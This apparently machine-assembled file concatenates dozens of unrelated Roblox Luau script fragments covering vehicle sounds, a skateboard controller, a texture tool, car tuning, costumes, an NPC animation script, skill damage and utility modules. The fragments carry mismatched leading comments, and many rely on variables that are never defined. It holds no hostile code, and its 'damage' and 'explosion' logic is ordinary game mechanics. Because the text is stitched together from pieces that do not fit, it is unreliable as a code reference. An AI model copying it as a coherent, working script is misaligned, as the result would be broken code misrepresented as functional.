function VehicleSoundComponent:updateSounds() local speed = self.controller:getSpeed() if speed and speed < 3 then TweenService:Create(self.idle, tweenInfo, {Volume = 0.3}):Play() TweenService:Create(self.engine, tweenInfo, {Volume = speed / 5}):Play() else TweenService:Create(self.idle, tweenInfo, {Volume = 0}):Play() TweenService:Create( self.engine, tweenInfo, {Volume = 0.8, PlaybackSpeed = 0.5 + (((speed or 0) + math.random(0, 20)) / 100)} ):Play() end end
--Click to Open/Close Drawer--
local clickDetector = script.Parent.Parent.ClickBox.ClickDetector local clicker = script.Parent.Parent.ClickBox game:GetService("SoundService") local Phone = game.SoundService["P0 Sounds"].PhoneSound clickDetector.MouseClick:Connect(function() print("Phone Clicked") print("SoundPlayed") local copysound = Phone:Clone() copysound.Parent = clicker copysound.Ended:Connect(function() copysound:Destroy() end) copysound:Play() print("SoundKilled") end)
--use this to determine if you want this human to be harmed or not, returns boolean
function boom() task.wait(2) Used = true Object.Anchored = true Object.CanCollide = false Object.Sparks.Enabled = false Object.Orientation = Vector3.new(0,0,0) Object.Transparency = 1 Object.Fuse:Stop() Object.Explode:Play() Object.Explosion:Emit(100) Object.Smoke1:Emit(150) Object.Smoke2:Emit(50) Object.Smoke3:Emit(50) Object.Debris:Emit(200) Object.Debris2:Emit(900) Object.Debris3:Emit(900) Explode() end boom()
--[[ Returns a dictionary with the model and difficulty data for each tile type and slope type ]]
local ServerStorage = game:GetService("ServerStorage") local TileTypes = require(ServerStorage.Source.Constants.TileTypes) local SlopeTypes = require(ServerStorage.Source.Constants.SlopeTypes) return function() local tileIndex = {} local tiles = ServerStorage:FindFirstChild("Tiles") for _, tileType in pairs(TileTypes) do tileIndex[tileType] = {} local tileFolder = tiles:FindFirstChild(tileType) for _, slopeType in pairs(SlopeTypes) do tileIndex[tileType][slopeType] = {} local slopeFolder = tileFolder:FindFirstChild(slopeType) if slopeFolder then for _, model in pairs(slopeFolder:GetChildren()) do local difficultyObject = model:FindFirstChild("Difficulty") -- Clamp the difficulty value between 0 and 100 (as it is a percent) local difficulty = math.clamp(difficultyObject.Value, 0, 100) table.insert( tileIndex[tileType][slopeType], { model = model, difficulty = difficulty, type = tileType } ) end end end end return tileIndex end
-- initialization/finalization stuff
function makeGyro(humanoid) Gyro = Instance.new("BodyGyro") Gyro.Name = "SkateboardGyro" Gyro.maxTorque = Vector3.new(0,0,0) -- start off Gyro.P = 50 Gyro.D = 50 Gyro.Parent = humanoid.Parent.Torso end function onButtonChanged(button) if button == Enum.Button.Dismount then Board.ControllingHumanoid.Jump = Controller:getButton(Enum.Button.Dismount) end if button == Enum.Button.Jump then if Controller:getButton(Enum.Button.Jump) and jumpok then jumpok = false KickAnim:Stop() LeftAnim:Stop(.5) RightAnim:Stop(.5) OllieAnim:Play(0,1,4) Board.StickyWheels = false Board:ApplySpecificImpulse(Vector3.new(0,45,0)) OllieHack.force = Vector3.new(0,1200,0) didAction("jump") delay(.1, function() if (OllieHack ~= nil) then OllieHack.force = Vector3.new(0,0,0) end end) else Board.StickyWheels = true end end end function onEquip(humanoid, controller) print("Board equipped") print(controller) if not Controller then -- debounce Controller = controller makeGyro(humanoid) controller.AxisChanged:connect(onAxisChanged) Board.MoveStateChanged:connect(onMoveStateChanged) CoastingAnim = humanoid:loadAnimation(Board.coastingpose) LeftAnim = humanoid:loadAnimation(Board.leftturn) RightAnim = humanoid:loadAnimation(Board.rightturn) OllieAnim = humanoid:loadAnimation(Board.ollie) --OllieAnim:AdjustSpeed(2) KickAnim = humanoid:loadAnimation(Board.boardkick) CoastingAnim:Play() Controller:bindButton(Enum.Button.Jump, "Ollie") Controller:bindButton(Enum.Button.Dismount, "Dismount") Controller.ButtonChanged:connect(onButtonChanged) end end function onUnequip(board) print("Board unequipped") Controller = nil Gyro.Parent = nil Gyro= nil CoastingAnim:Stop() KickAnim:Stop() CoastingAnim = nil KickAnim = nil LeftAnim:Stop() LeftAnim = nil RightAnim:Stop() RightAnim = nil OllieAnim:Stop() OllieAnim = nil if (OllieThrust ~= nil) then OllieThrust:Remove() OllieThrust = nil end end
-- Current UI layout
local CurrentLayout; function TextureTool:ChangeLayout(Layout) -- Sets the UI to the given layout -- Make sure the new layout isn't already set if CurrentLayout == Layout then return; end; -- Set this as the current layout CurrentLayout = Layout; -- Reset the UI for _, ElementName in pairs(UIElements) do local Element = self.UI[ElementName] Element.Visible = false; end; -- Keep track of the total vertical extents of all items local Sum = 0; -- Go through each layout element for ItemIndex, ItemName in ipairs(Layout) do local Item = self.UI[ItemName] -- Make the item visible Item.Visible = true; -- Position this item underneath the past items Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new( Item.Position.X.Scale, Item.Position.X.Offset, 0, Sum + 10 ); -- Update the sum of item heights Sum = Sum + 10 + Item.AbsoluteSize.Y; end; -- Resize the container to fit the new layout self.UI.Size = UDim2.new(0, 200, 0, 30 + Sum) end; function TextureTool:UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not self.UI then return; end; -- Get the textures in the selection local Textures = GetTextures(TextureTool.Type, TextureTool.Face); -- References to UI elements local ImageIdInput = self.UI.ImageIDOption.TextBox; local TransparencyInput = self.UI.TransparencyOption.Input.TextBox; ----------------------- -- Update the UI layout ----------------------- -- Get the plural version of the current texture type local PluralTextureType = TextureTool.Type .. 's'; -- Figure out the necessary UI layout if #Selection.Parts == 0 then self:ChangeLayout(Layouts.EmptySelection) return; -- When the selection has no textures elseif #Textures == 0 then self:ChangeLayout(Layouts.NoTextures) return; -- When only some selected items have textures elseif #Selection.Parts ~= #Textures then self:ChangeLayout(Layouts['Some' .. PluralTextureType]) -- When all selected items have textures elseif #Selection.Parts == #Textures then self:ChangeLayout(Layouts['All' .. PluralTextureType]) end; ------------------------ -- Update UI information ------------------------ -- Get the common properties local ImageId = Support.IdentifyCommonProperty(Textures, 'Texture'); local Transparency = Support.IdentifyCommonProperty(Textures, 'Transparency'); -- Update the common inputs UpdateDataInputs { [ImageIdInput] = ImageId and ParseAssetId(ImageId) or ImageId or '*'; [TransparencyInput] = Transparency and Support.Round(Transparency, 3) or '*'; }; -- Update texture-specific information on UI if TextureTool.Type == 'Texture' then -- Get texture-specific UI elements local RepeatXInput = self.UI.RepeatOption.XInput.TextBox local RepeatYInput = self.UI.RepeatOption.YInput.TextBox -- Get texture-specific common properties local RepeatX = Support.IdentifyCommonProperty(Textures, 'StudsPerTileU'); local RepeatY = Support.IdentifyCommonProperty(Textures, 'StudsPerTileV'); -- Update inputs UpdateDataInputs { [RepeatXInput] = RepeatX and Support.Round(RepeatX, 3) or '*'; [RepeatYInput] = RepeatY and Support.Round(RepeatY, 3) or '*'; }; end; end; function UpdateDataInputs(Data) -- Updates the data in the given TextBoxes when the user isn't typing in them -- Go through the inputs and data for Input, UpdatedValue in pairs(Data) do -- Makwe sure the user isn't typing into the input if not Input:IsFocused() then -- Set the input's value Input.Text = tostring(UpdatedValue); end; end; end; function ParseAssetId(Input) -- Returns the intended asset ID for the given input -- Get the ID number from the input local Id = tonumber(Input) or tonumber(Input:lower():match('%?id=([0-9]+)')) or tonumber(Input:match('/([0-9]+)/')) or tonumber(Input:lower():match('rbxassetid://([0-9]+)')); -- Return the ID return Id; end; function TextureTool:SetFace(Face) self.Face = Face self.OnFaceChanged:Fire(Face) end function TextureTool:SetTextureType(TextureType) -- Update the tool option self.Type = TextureType -- Update the UI Core.ToggleSwitch(TextureType, self.UI.ModeOption); self.UI.AddButton.Button.Text = 'ADD ' .. TextureType:upper(); self.UI.RemoveButton.Button.Text = 'REMOVE ' .. TextureType:upper(); end; function SetProperty(TextureType, Face, Property, Value) -- Make sure the given value is valid if not Value then return; end; -- Start a history record TrackChange(); -- Go through each texture for _, Texture in pairs(GetTextures(TextureType, Face)) do -- Store the state of the texture before modification table.insert(HistoryRecord.Before, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Texture[Property] }); -- Create the change request for this texture table.insert(HistoryRecord.After, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function SetTextureId(TextureType, Face, AssetId) -- Sets the textures in the selection to the intended, given image asset -- Make sure the given asset ID is valid if not AssetId then return; end; -- Prepare the change request local Changes = { Texture = 'rbxassetid://' .. AssetId; }; -- Attempt an image extraction on the given asset Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId) :Then(function (ExtractedImage) Changes.Texture = 'rbxassetid://' .. ExtractedImage; end); -- Start a history record TrackChange(); -- Go through each texture for _, Texture in pairs(GetTextures(TextureType, Face)) do -- Create the history change requests for this texture local Before, After = { Part = Texture.Parent, TextureType = TextureType, Face = Face }, { Part = Texture.Parent, TextureType = TextureType, Face = Face }; -- Gather change information to finish up the history change requests for Property, Value in pairs(Changes) do Before[Property] = Texture[Property]; After[Property] = Value; end; -- Store the state of the texture before modification table.insert(HistoryRecord.Before, Before); -- Create the change request for this texture table.insert(HistoryRecord.After, After); end; -- Register the changes RegisterChange(); end; function AddTextures(TextureType, Face) -- Prepare the change request for the server local Changes = {}; -- Go through the selection for _, Part in pairs(Selection.Parts) do -- Make sure this part doesn't already have a texture of the same type local HasTextures; for _, Child in pairs(Part:GetChildren()) do if Child.ClassName == TextureType and Child.Face == Face then HasTextures = true; end; end; -- Queue a texture to be created for this part, if not already existent if not HasTextures then table.insert(Changes, { Part = Part, TextureType = TextureType, Face = Face }); end; end; -- Send the change request to the server local Textures = Core.SyncAPI:Invoke('CreateTextures', Changes); -- Put together the history record local HistoryRecord = { Textures = Textures; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select changed parts Selection.Replace(Record.Selection) -- Remove the textures Core.SyncAPI:Invoke('Remove', Record.Textures); end; Apply = function (Record) -- Reapplies this change -- Restore the textures Core.SyncAPI:Invoke('UndoRemove', Record.Textures); -- Select changed parts Selection.Replace(Record.Selection) end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function RemoveTextures(TextureType, Face) -- Get all the textures in the selection local Textures = GetTextures(TextureType, Face); -- Create the history record local HistoryRecord = { Textures = Textures; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Restore the textures Core.SyncAPI:Invoke('UndoRemove', Record.Textures); -- Select changed parts Selection.Replace(Record.Selection) end; Apply = function (Record) -- Reapplies this change -- Select changed parts Selection.Replace(Record.Selection) -- Remove the textures Core.SyncAPI:Invoke('Remove', Record.Textures); end; }; -- Send the removal request Core.SyncAPI:Invoke('Remove', Textures); -- Register the history record Core.History.Add(HistoryRecord); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncTexture', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncTexture', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncTexture', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
--The name of the collision group that characters are put in
local GroupName = "RaceCars"
--Made by Stickmasterluke
sp=script.Parent speedboost=2 --200% speed bonus speedforsmoke=10 --smoke apears when character running >= 10 studs/second. function waitfor(a, b, c) local c = c or 5 * 60 local d=tick()+c while a:FindFirstChild(b)==nil and tick()<=d do wait() end return a:FindFirstChild(b) end local tooltag = waitfor(script,"ToolTag",2) if tooltag ~= nil then local tool = tooltag.Value local h = sp:FindFirstChild("Humanoid") if h ~= nil then h.WalkSpeed = 16+16*speedboost local t = sp:FindFirstChild("Torso") if t ~= nil then smokepart = Instance.new("Part") smokepart.FormFactor = "Custom" smokepart.Size =Vector3.new(0, 0, 0) smokepart.TopSurface = "Smooth" smokepart.BottomSurface = "Smooth" smokepart.CanCollide = false smokepart.Transparency = 1 local weld = Instance.new("Weld") weld.Name = "SmokePartWeld" weld.Part0 = t weld.Part1 = smokepart weld.C0 = CFrame.new(0, -3.5, 0) * CFrame.Angles(math.pi / 4, 0, 0) weld.Parent = smokepart smokepart.Parent = sp smoke = Instance.new("Smoke") smoke.Enabled = t.Velocity.magnitude > speedforsmoke smoke.RiseVelocity = 2 smoke.Opacity = 0.25 smoke.Size = 0.5 smoke.Parent = smokepart h.Running:connect(function(speed) if smoke and smoke ~= nil then smoke.Enabled = speed > speedforsmoke end end) end end while tool ~= nil and tool.Parent == sp and h ~= nil do sp.ChildRemoved:wait() end local h = sp:FindFirstChild("Humanoid") if h ~= nil then h.WalkSpeed = 16 end end if smokepart ~= nil then smokepart:remove() end script:remove()
--[[Weight and CG]]
Tune.Weight = 1873 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- SERVICES --
local RS = game:GetService("ReplicatedStorage") local TS = game:GetService("TweenService") local CS = game:GetService("CollectionService") local PS = game:GetService("PhysicsService") local Players = game:GetService("Players")
--//Main script
script.Parent:WaitForChild("ClickDetector").MouseClick:connect(function(Player) if not InUse and game:GetService("Players"):FindFirstChild(Player.Name) and Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild("GotCostume") then InUse = true Player:ClearCharacterAppearance() local CostumeLabel = Instance.new("BoolValue", Player.Character) CostumeLabel.Name = "GotCostume" LockPlayer(Player, true) local OldCFrame = Player.Character:FindFirstChild("HumanoidRootPart").CFrame Player.Character:SetPrimaryPartCFrame(script.Parent.Parent:FindFirstChild("Position").CFrame) for _,BodyPart in pairs(Player.Character:GetChildren()) do if BodyPart:IsA("BasePart") and CheckName(BodyPart) then if BodyPart.Name == "Head" then BodyPart.Transparency = 0.99 else BodyPart.Transparency = 1 end local Face = BodyPart:FindFirstChildOfClass("Decal") if Face then Face:Destroy() end local CostumeObject = script.Parent.Parent.Parent.Costume:FindFirstChild(BodyPart.Name) if CostumeObject then local ClonedCostumeObject = CostumeObject:Clone() ClonedCostumeObject.Parent = Player.Character for _,CostumeObjectPart in pairs(ClonedCostumeObject:GetChildren()) do if CostumeObjectPart:IsA("BasePart") then CostumeObjectPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) AddWeld(BodyPart, CostumeObjectPart) CostumeObjectPart.Anchored = false CostumeObjectPart.CanCollide = false CostumeObjectPart.Locked = true end end else warn("A piece of costume is missing:", BodyPart.Name) end end wait() end Player.Character:SetPrimaryPartCFrame(OldCFrame) LockPlayer(Player, false) InUse = false end end)
-- ROBLOX deviation START: predefine variables
local deepCyclicCopy local deepCyclicCopyObject local deepCyclicCopyArray
-- ROBLOX deviation: predeclare variables
local isTemplates, normaliseTable, formatTitle, interpolateEscapedPlaceholders, isTable, colToRow, normalisePlaceholderValue, getMatchingPlaceholders, interpolatePrettyPlaceholder, interpolateTitleIndex local function default(title: string, arrayTable: Global_ArrayTable): EachTests if isTemplates(title, arrayTable) then return Array.map(arrayTable, function(template, index) return { arguments = { template }, title = interpolateVariables(title, template, index):gsub( ESCAPED_PLACEHOLDER_PREFIX_PATTERN, PLACEHOLDER_PREFIX ), } end) end return Array.map(normaliseTable(arrayTable), function(row, index) return { arguments = Array.map(row, function(element) return element end), title = formatTitle(title, row, index), } end) end exports.default = default function isTemplates( title: string, arrayTable: Global_ArrayTable ): boolean --[[ ROBLOX TODO: Unhandled node for type: TSTypePredicate ]] --[[ arrayTable is Templates ]] return not SUPPORTED_PLACEHOLDERS:test(interpolateEscapedPlaceholders(title)) and not isTable(arrayTable) and Array.every(arrayTable, function(col) return col ~= nil and typeof(col) == "table" end) end function normaliseTable(table_: Global_ArrayTable): Global_Table return if isTable(table_) then table_ else Array.map(table_, colToRow) end function isTable( table_: Global_ArrayTable ): boolean --[[ ROBLOX TODO: Unhandled node for type: TSTypePredicate ]] --[[ table is Global.Table ]] return Array.every(table_, Array.isArray) end function colToRow(col: Global_Col): Global_Row return { col } end function formatTitle(title: string, row: Global_Row, rowIndex: number): string return Array.reduce(row, function(formattedTitle, value) local placeholder = getMatchingPlaceholders(formattedTitle)[1] local normalisedValue = normalisePlaceholderValue(value) if not Boolean.toJSBoolean(placeholder) then return formattedTitle end if placeholder == PRETTY_PLACEHOLDER then return interpolatePrettyPlaceholder(formattedTitle, normalisedValue) end return format(formattedTitle, normalisedValue) end, interpolateTitleIndex(interpolateEscapedPlaceholders(title), rowIndex)):gsub( JEST_EACH_PLACEHOLDER_ESCAPE, ESCAPED_PLACEHOLDER_PREFIX ) end function normalisePlaceholderValue(value: any) if typeof(value) == "string" then local ref = value:gsub(PLACEHOLDER_PREFIX, JEST_EACH_PLACEHOLDER_ESCAPE) return ref else return value end end function getMatchingPlaceholders(title: string): Array<string> -- ROBLOX deviation START: js .match with /g flag and :gmatch are used in a different way local ref for match in title:gmatch(SUPPORTED_PLACEHOLDERS_PATTERN) do if ref == nil then ref = {} end table.insert(ref, match) end -- ROBLOX deviation END return ref or {} end function interpolateEscapedPlaceholders(title: string) local ref = title:gsub(ESCAPED_PLACEHOLDER_PREFIX_PATTERN, JEST_EACH_PLACEHOLDER_ESCAPE) return ref end function interpolateTitleIndex(title: string, index: number) local ref = title:gsub(INDEX_PLACEHOLDER, tostring(index), 1) return ref end function interpolatePrettyPlaceholder(title: string, value: any) local ref = title:gsub(PRETTY_PLACEHOLDER_PATTERN, pretty(value, { maxDepth = 1, min = true }), 1) return ref end return exports
--[[ By: Brutez. ]]
-- local FreeSCP096AnimationScript=script; local FreeSCP096=FreeSCP096AnimationScript.Parent local FreeSCP096Humanoid=nil; local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso") local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder") local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder") local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip") local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip") local Neck=FreeSCP096Torso:FindFirstChild("Neck") local pose="Standing"; for _,Child in pairs(FreeSCP096:GetChildren())do if Child.ClassName=="Humanoid"then FreeSCP096Humanoid=Child; end end function onRunning(speed) if speed>0.001 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 4 LeftShoulder.DesiredAngle = -4 RightHip.DesiredAngle = 1 LeftHip.DesiredAngle = 1 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 1/2 LeftHip.DesiredAngle = -1/2 end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then RightShoulder.MaxVelocity = 0.2 LeftShoulder.MaxVelocity = 0.2 RightHip.MaxVelocity = 0.2 LeftHip.MaxVelocity = 0.2 if FreeSCP096Humanoid.WalkSpeed~=35 then amplitude = 0.4 frequency = 4 else amplitude = 2 frequency = 12 end elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.3 LeftShoulder.MaxVelocity = 0.3 RightHip.MaxVelocity = 1 LeftHip.MaxVelocity = 1 amplitude = 0.4 frequency = 6 climbFudge = 3.14 else amplitude = 0.1 frequency = 1 end local desiredAngle=amplitude*math.sin(time*frequency); if FreeSCP096Humanoid.WalkSpeed==1 then --Panic RightShoulder.MaxVelocity = 0.05 LeftShoulder.MaxVelocity = 0.05 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 end if FreeSCP096Humanoid.WalkSpeed>10 then RightShoulder.MaxVelocity = 5 LeftShoulder.MaxVelocity = 5 RightShoulder.DesiredAngle = 1.57 LeftShoulder.DesiredAngle = -1.57 RightHip.MaxVelocity = 3 LeftHip.MaxVelocity =3 end if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then RightShoulder.DesiredAngle=desiredAngle+climbFudge; LeftShoulder.DesiredAngle=desiredAngle-climbFudge; end RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle end FreeSCP096Humanoid.Died:connect(onDied) FreeSCP096Humanoid.Running:connect(onRunning) FreeSCP096Humanoid.Jumping:connect(onJumping) FreeSCP096Humanoid.Climbing:connect(onClimbing) FreeSCP096Humanoid.GettingUp:connect(onGettingUp) FreeSCP096Humanoid.FreeFalling:connect(onFreeFall) FreeSCP096Humanoid.FallingDown:connect(onFallingDown) FreeSCP096Humanoid.Seated:connect(onSeated) local nextTime=0 local runService=game:service("RunService"); while Wait(0)do local time=runService.Stepped:wait(0); if time>nextTime then move(time); nextTime=time; end; end;
--[[ Returns the value currently stored in this State object. The state object will be registered as a dependency unless `asDependency` is false. ]]
function class:get(isDependency: boolean?) if not isDependency then Dependencies.useDependency(self) end return self._value end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Character.Purity.Value >= 0 end
------Modules------
local modules = script.Parent.Parent.Modules local core = require(modules.CoreModule) local actions = require(modules.ActionsModule) local combat = require(modules.CombatModule) local targeting = require(modules.TargetModule) local movement = require(modules.MovementModule) local status = require(modules.Status) local troubleshoot = require(modules.Troubleshoot) local wait = task.wait local spawn = task.spawn local delay = task.delay
--[[ Calls a function and throws an error if it attempts to yield. Pass any number of arguments to the function after the callback. This function supports multiple return; all results returned from the given function will be returned. --]]
local function resultHandler(co, ok, ...) if not ok then local message = (...) error(debug.traceback(co, message), 2) end if coroutine.status(co) ~= "dead" then error(debug.traceback(co, "Attempted to yield inside changed event!"), 2) end return ... end type Callback = (...any) -> ...any local function noYield(callback: Callback, ...): ...any local co = coroutine.create(callback) return resultHandler(co, coroutine.resume(co, ...)) end return noYield
--< Services >--
local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService")
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Sea of Error" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--여기까지
local ser = game:GetService("Debris") --오브젝트 삭제 관련 서비스 local skill = game.ReplicatedStorage.Skill:FindFirstChild(skillName) --스킬 찾기 local Cooldown = true local DamageCool = false script.Parent.SkillEvent.OnServerEvent:Connect(function(plr, X,Y ,Z, Target) --플레이어가 스킬을 클릭하면 if Cooldown == true and Target ~= nil and not Target:FindFirstChild("Humanoid") then --조건이 맞으면 Cooldown = false local clone = skill:Clone() --스킬 복사 clone.Parent = game.Workspace.SkillPart --스킬 적용 clone.Position = Vector3.new(X, (Y + 100), Z) --스킬 위치를 플레이어가 터치한 자리에 clone.Touched:Connect(function(hit) --다른 플레이어가 스킬에 닿이면 local human = hit.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기 local human2 = hit.Parent.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기 if human ~= nil and hit.Parent then --조건이 맞다면 if hit.Parent.Name == script.Parent.Parent.Name and DamageCool == false then return end --자신은 데미지 안먹힘 if human and DamageCool == false then --해당 조건이 맞으면 DamageCool = true human:TakeDamage(Damage) --데미지 입히기 wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기 DamageCool = false elseif human2 and DamageCool == false then DamageCool = true human2:TakeDamage(Damage) --데미지 입히기 wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기 DamageCool = false end end end) --끝 script.Parent.Handle:FindFirstChild(Sound):Play() --오디오 틀기 wait(1) --1초 기다림 local bomb = game.ReplicatedStorage.Skill.Explosion:Clone() --폭팔 이펙트 복사 bomb.Parent = game.Workspace.SkillPart --이펙트 적용 bomb.Position = Vector3.new(clone.Position.X, clone.Position.Y, clone.Position.Z) --이펙트 위치 지정 script.Parent.Handle:FindFirstChild(Sound2):Play() --오디오 틀기 script.Parent.SkillEvent:FireClient(plr) --메세지 보내기(화면 흔들림 효과) ser:AddItem(bomb, 1) --1초뒤에 이펙트 삭제 wait(CoolTime) --스킬 쿨타임 기다리기 Cooldown = true end end) --끝
---- locales ----
local Button = script.Parent local InventoryFrame = Button.Parent.InventoryScrollingFrame local InformationFrame = Button.Parent.InformationFrame local CaseInventoryFrame = Button.Parent.CaseShopScrollingFrame local CaseInformationFrame = Button.Parent.CaseInformationFrame local SkinsViewFrame = Button.Parent.SkinsViewFrame
--[[function Float() local Wobble = { Size = 3, Speed = 0.3, Factor = 0, } local UpVector = Vector3.new(0, 0, 0) local SpeedVector = Part.Velocity local PerpVector = SpeedVector.Unit:Cross(UpVector) local RandomAngle = (math.random() * math.pi * 2) --Get random angle in the perpendicular plane we just solved for local WobbleVector = (PerpVector * math.cos(RandomAngle) + UpVector * math.sin(RandomAngle)) --Get a random "wobble vector" in the perpendicular plane Spawn(function() while true do if not Part or not Part.Parent then break end --Part.RotVelocity = (Part.RotVelocity + Vector3.new(0, ((math.random() - 0.5) * 2), 0)) --See if is z instead of x value Part.Velocity = (SpeedVector + WobbleVector * math.sin(Wobble.Factor) * Wobble.Size) Wobble.Factor = (Wobble.Factor + Wobble.Speed) wait(0.25) end end) end]]
function GetCreator() return ((Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value) or nil) end function Blow(Object) local TouchedConnection TouchedConnection = Object.Touched:connect(function(Hit) if not Hit or not Hit.Parent then return end local character = Hit.Parent local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local CreatorPlayer = GetCreator() local player = Players:GetPlayerFromCharacter(character) if player and CreatorPlayer and (player == CreatorPlayer or IsTeamMate(CreatorPlayer, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, CreatorPlayer) humanoid:TakeDamage(Damage.Value) Part.Anchored = true Part.Transparency = 1 end) return TouchedConnection end Blow(Part)
--[[ Returns the price of the given itemId --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local getCategoryForItemId = require(ReplicatedStorage.Source.Utility.Farm.getCategoryForItemId) local getItemByIdInCategory = require(ReplicatedStorage.Source.Utility.Farm.getItemByIdInCategory) local getAttribute = require(ReplicatedStorage.Source.Utility.getAttribute) local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute) local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory) local function getPurchaseCost(itemId: string) local categoryId: ItemCategory.EnumType = getCategoryForItemId(itemId) local itemModel = getItemByIdInCategory(itemId, categoryId) return getAttribute(itemModel, Attribute.PurchaseCost) end return getPurchaseCost
--- Internal __index metamethod
function Maid:__index(i) return Maid[i] or self._Tasks[i] end
--script.Parent.Values.Gear.Changed:connect(function() -- mult=1 -- if script.Parent.Values.RPM.Value>5500 then -- shift=.2 -- end --end)
for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (2*throt*shift*redline)+(trm*trmon*trmmult*(2-throt)*math.sin(tick()*50)) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
--[[ Draws a ray between CFrame towards part. If the ray is close to the part (as defined by the discrepencies below), returns true - else returns false. ]]
